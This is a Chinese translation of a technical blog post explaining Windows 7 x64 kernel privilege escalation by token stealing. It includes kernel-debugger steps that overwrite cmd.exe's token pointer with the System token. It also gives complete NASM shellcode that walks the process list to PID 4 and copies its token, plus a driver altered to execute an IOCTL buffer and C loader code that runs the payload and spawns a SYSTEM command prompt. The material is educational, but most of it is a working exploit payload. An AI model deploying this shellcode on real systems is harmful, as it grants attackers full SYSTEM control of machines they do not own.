这篇文章翻译自一篇英文技术博客。文章讲述了 Windows 7 x64 系统中对指定进程进行特权级别提升的原理和方法。原文链接在文后可见。

0x0 简介

与某个运行中进程相关的用户账户和访问特权是由一个叫做令牌(token)的内核对象决定的。跟踪各种与进程相关的数据的内核数据结构中,包含一个指向进程令牌的指针。当进程尝试执行诸如打开文件等各种操作时,系统将对令牌中的账户权限和特权级别与要求的特权级别作比较,以决定该访问应被允许或拒绝。

由于令牌指针是在内核内存中的简单数据,其很容易被执行在内核模式的代码所修改以指向不同的令牌,并由此授予进程一个不同的特权级别设定。这强调了确保系统抵御能够被本地用户利用以在内核中执行代码的漏洞的重要性。

这篇文章将提供提升进程到 Administrator 特权级别的说明以及利用代码的示例。设备驱动的修改版以及来自我的《64 位设备驱动开发》一文中(链接在文后可见)的测试程序,将被用作注入可执行代码到内核中的一种手段。

0x1 细节

在开始之前我们将以标准用户特权级别执行命令提示符(cmd.exe),之后使用内核调试器来手动定位高特权级别的 System 进程并赋予前面运行中的 cmd.exe 进程以 System 级别的特权。

首先,找到 System 进程的十六进制地址。

kd> !process 0 0 System
PROCESS fffffa8003cf11d0
    SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000
    DirBase: 00187000 ObjectTable: fffff8a0000018b0 HandleCount: 687.
    Image: System

该地址指向一个 _EPROCESS 结构体,其中包含转储如下的很多域:

kd> dt _EPROCESS fffffa8003cf11d0
nt!_EPROCESS
   +0x000 Pcb                 : _KPROCESS
   +0x160 ProcessLock         : _EX_PUSH_LOCK
   +0x168 CreateTime          : _LARGE_INTEGER 0x1cbdcf1`54a2bf4a
   +0x170 ExitTime            : _LARGE_INTEGER 0x0
   +0x178 RundownProtect      : _EX_RUNDOWN_REF
   +0x180 UniqueProcessId     : 0x00000000`00000004 Void
   +0x188 ActiveProcessLinks  : _LIST_ENTRY [ 0xfffffa80`05b3c828 - 0xfffff800`02e71b30 ]
   +0x198 ProcessQuotaUsage   : [2] 0
   +0x1a8 ProcessQuotaPeak    : [2] 0
   +0x1b8 CommitCharge        : 0x1e
   +0x1c0 QuotaBlock          : 0xfffff800`02e50a80 _EPROCESS_QUOTA_BLOCK
   +0x1c8 CpuQuotaBlock       : (null)
   +0x1d0 PeakVirtualSize     : 0xf70000
   +0x1d8 VirtualSize         : 0x870000
   +0x1e0 SessionProcessLinks : _LIST_ENTRY [ 0x00000000`00000000 - 0x0 ]
   +0x1f0 DebugPort           : (null)
   +0x1f8 ExceptionPortData   : (null)
   +0x1f8 ExceptionPortValue  : 0
   +0x1f8 ExceptionPortState  : 0y000
   +0x200 ObjectTable         : 0xfffff8a0`000018b0 _HANDLE_TABLE
   +0x208 Token               : _EX_FAST_REF
   +0x210 WorkingSetPage      : 0
   [...]

在偏移位置 0x208 处的 Token 是一个指针大小的值。我们可以转储该值如下:

kd> dq fffffa8003cf11d0+208 L1
fffffa80`03cf13d8 fffff8a0`00004c5c

你应该注意到在 _EPROCESS 结构体中 Token 域被定义为 _EX_FAST_REF 类型,而不是预期的 _TOKEN 结构。_EX_FAST_REF 结构是依赖于假设内核数据结构被要求在内存中以16字节边界对齐的一种策略。这意味着指向 token 或任何其他内核对象的指针都将最后 4 位置为 0 (十六进制的最后一位数始终为零)。Windows 因此能够自由使用指针数值的低 4 位作其他用处(在当前情况下作为可用于内部优化目的的引用计数)。

kd> dt _EX_FAST_REF
nt!_EX_FAST_REF
   +0x000 Object : Ptr64 Void
   +0x000 RefCnt : Pos 0, 4 Bits
   +0x000 Value : Uint8B

为了从 _EX_FAST_REF 结构中获得实际指针,只需简单地将其 16 进制最后一位数置为 0。以编程方式实现此目的,则通过逻辑与操作符屏蔽掉数值中最低 4 位即可。

kd> ? fffff8a0`00004c5c & ffffffff`fffffff0
Evaluate expression: -8108898235312 = fffff8a0`00004c50

我们可以通过 dt _TOKEN 指令来显示 token 或通过 !token 扩展命令获得更好的展示:

kd> !token fffff8a0`00004c50
_TOKEN fffff8a000004c50
TS Session ID: 0
User: S-1-5-18
Groups:
 00 S-1-5-32-544
    Attributes - Default Enabled Owner
 01 S-1-1-0
    Attributes - Mandatory Default Enabled
 02 S-1-5-11
    Attributes - Mandatory Default Enabled
 03 S-1-16-16384
    Attributes - GroupIntegrity GroupIntegrityEnabled
Primary Group: S-1-5-18
Privs:
 02 0x000000002 SeCreateTokenPrivilege            Attributes -
 03 0x000000003 SeAssignPrimaryTokenPrivilege     Attributes -
 04 0x000000004 SeLockMemoryPrivilege             Attributes - Enabled Default
[...]

需要注意的是值为 S-1-5-18 的安全标识符(SID)是本地系统帐户的内置 SID(从 Well-known SIDs Reference 获取更多细节)。

下一步是为 cmd.exe 进程定位 _EPROCESS 结构并以 System 令牌地址替换位于 0x208 偏移位置的 Token 指针:

kd> !process 0 0 cmd.exe
PROCESS fffffa80068ea060
    SessionId: 1 Cid: 0d0c Peb: 7fffffdf000 ParentCid: 094c
    DirBase: 1f512000 ObjectTable: fffff8a00b8b5a10 HandleCount: 18.
    Image: cmd.exe

kd> eq fffffa80068ea060+208 fffff8a000004c50

最后,回到命令提示符并使用内置的 whoami 命令来显示用户账户。你也可以通过执行某些需要请求管理员特权级别的命令或访问文件等方式来确认。

0x2 利用代码

以代码的形式实施以上步骤简单快捷,与已出现多年的 x86 平台提权代码相比,x64 平台只需要细微的差别。

我反汇编了 nt!PsGetCurrentProcess 函数来观察如何为当前进程获取 _EPROCESS 地址。在操作系统中正在运行的所有进程的 _EPROCESS 结构体通过 ActiveProcessLinks 成员被连接在一个环形双向链表中。我们能够通过这些 ActiveProcessLinks 并查找进程 ID 4 来定位 System 进程。

;grant SYSTEM account privileges to calling process

[BITS 64]

start:
;    db 0cch ;uncomment to debug
    mov rdx, [gs:188h] ;get _ETHREAD pointer from KPCR
    mov r8, [rdx+70h] ;_EPROCESS (see PsGetCurrentProcess function)
    mov r9, [r8+188h] ;ActiveProcessLinks list head
    mov rcx, [r9] ;follow link to first process in list

find_system_proc:
    mov rdx, [rcx-8] ;offset from ActiveProcessLinks to UniqueProcessId
    cmp rdx, 4 ;process with ID 4 is System process
    jz found_it
    mov rcx, [rcx] ;follow _LIST_ENTRY Flink pointer
    cmp rcx, r9 ;see if back at list head
    jnz find_system_proc
    db 0cch ;(int 3) process #4 not found, should never happen

found_it:
    mov rax, [rcx+80h] ;offset from ActiveProcessLinks to Token
    and al, 0f0h ;clear low 4 bits of _EX_FAST_REF structure
    mov [r8+208h], rax ;replace current process token with system token
    ret

我在 Cygwin 中使用 Netwide Assembler (NASM)来汇编以上代码(native win32 NASM 二进制代码也可以)。通过如下命令生成:nasm priv.asm

这将生成一个名为 priv(无文件扩展名)的原始二进制输出文件。

需要注意的是 NASM 为 int 3 指令生成 2 字节操作码 0xCD 0x03 而不是标准的 1 字节 0xCC 调试断点。这在内核调试器中由于其假定下一条指令在内存中只有 1 字节而不是 2 字节将引发问题。如果可以通过断点命中之后的 1 字节手动调整 RIP 寄存器,问题将会被解决,但最好的方法是在首位置通过 db 0cch 指令只生成正确的操作码。

0x3 测试

我的《64 位设备驱动开发》一文中提供的一个设备驱动示例,通过设备 I/O 控制接口接受来自用户模式进程的字符串。并在内核调试器中简单地打印字符串。为测试以上利用代码,我修改了该驱动以执行传入的数据作为代码替代:

void (*func)();

// execute code in buffer
func = (void(*)())buf;
func();

这当然要求内存页被标记为可执行,除此以外数据执行保护(DEP)将引发一次异常。我其实惊讶于通过 IOCTL 接口传入的缓冲区(使用 METHOD_DIRECT)默认是可执行的。我不确保是否将一直是这种情况,并且我相信在 x64 系统中它必须在内核内存中同时使用 LARGE PAGE,其使内存保护失效(内存只能够在虚拟内存页面大小的粒度被设置为非可执行)。

我接下来修改用户模式测试程序,使用如下的函数来从 priv 二进制文件中读取数据而不是传入硬编码字符串。

// allocates buffer and reads entire file
// returns NULL on error
// stores length to bytes_read if non-NULL
char *read_file_data(char *filename, int *bytes_read) {
    char *buf;
    int fd, len;

    fd = _open(filename, _O_RDONLY | _O_BINARY);

    if (-1 == fd) {
        perror("Error opening file");
        return NULL;
    }

    len = _filelength(fd);

    if (-1 == len) {
        perror("Error getting file size");
        return NULL;
    }

    buf = malloc(len);

    if (NULL == buf) {
        perror("Error allocating memory");
        return NULL;
    }   

    if (len != _read(fd, buf, len)) {
        perror("error reading from file");
        return NULL;
    }

    _close(fd);

    if (bytes_read != NULL) {
        *bytes_read = len;
    }

    return buf;
}

最后,我同时修改了测试程序,在通过驱动执行利用代码之后用来在一个单独进程中运行命令提示符。

// launch command prompt (cmd.exe) as new process
void run_cmd() {
    STARTUPINFO si;
    PROCESS_INFORMATION pi;

    ZeroMemory(&si, sizeof(si));
    ZeroMemory(&pi, sizeof(pi));
    si.cb = sizeof(si);

    if (!CreateProcess(L"c:\\windows\\system32\\cmd.exe", NULL, NULL, NULL, FALSE,
                CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) {
        debug("error spawning cmd.exe");
    } else {
        printf("launched cmd.exe with process id %d\n", pi.dwProcessId);
    }
}

新的命令提示符进程继承测试程序进程的令牌,该令牌已被提升为 System 令牌。

0x4 备注

原文链接:http://mcdermottcybersecurity.com/articles/x64-kernel-privilege-escalation

文内链接

64 位设备驱动开发:http://mcdermottcybersecurity.com/articles/64-bit-device-driver-development

Well-known SIDs Reference:http://support.microsoft.com/kb/243330

NASM Assembler:http://nasm.us/

Large Page:http://msdn.microsoft.com/en-us/library/aa366720%28v=vs.85%29.aspx

- THE END -

文章链接: https://xiaodaozhi.com/kernel/22.html